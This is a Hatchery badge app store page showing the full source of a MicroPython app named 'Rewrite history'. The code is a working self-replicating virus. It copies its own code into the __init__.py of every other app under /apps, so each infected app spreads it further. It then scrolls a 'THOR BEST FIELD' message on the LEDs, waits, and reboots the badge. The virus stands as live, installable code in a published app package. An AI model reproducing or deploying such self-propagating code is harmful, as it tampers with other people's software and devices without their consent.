Toggle Navigation
Hatchery
Eggs
Rewrite history
__init__.py
Users
Badges
Login
Register
MCH2022 badge?
go to mch2022.badge.team
__init__.py
raw
Content
#Rewritten history by THOR import os import system def rewritehis(file): try: f = open(file+'/__init__.py','r') if f.readline().rstrip() == '#Rewritten history by THOR': f.close() return f.close() fo = open(file+'/__init__2.py','w') print("Opened outputfile\n") cf = open("/apps/rewrite_history/__init__.py",'r') print("Opened source\n") active = True for line in cf.readlines(): if active: if "/apps/rewrite_history" in line: line = line.replace("/apps/rewrite_history", file) fo.write(line) if line.rstrip() == '#History rewritten by THOR': active = False cf.close() f = open(file+'/__init__.py','r') print("Opened app\n") for line in f.readlines(): if line.rstrip() == '#Rewritten history by THOR': f.close() fo.close() os.remove(file+'/__init__2.py') return fo.write(line) print("Rewritten: " +file) f.close() fo.close() os.remove(file+'/__init__.py') os.rename(file+'/__init__2.py',file+'/__init__.py') except OSError: print("No __init__.py\n") for direc in os.listdir('/apps'): rewritehis('/apps/'+direc) import rgb rgb.clear() rgb.scrolltext("THOR BEST FIELD", (255,255,255)) import time time.sleep(20) #History rewritten by THOR system.reboot()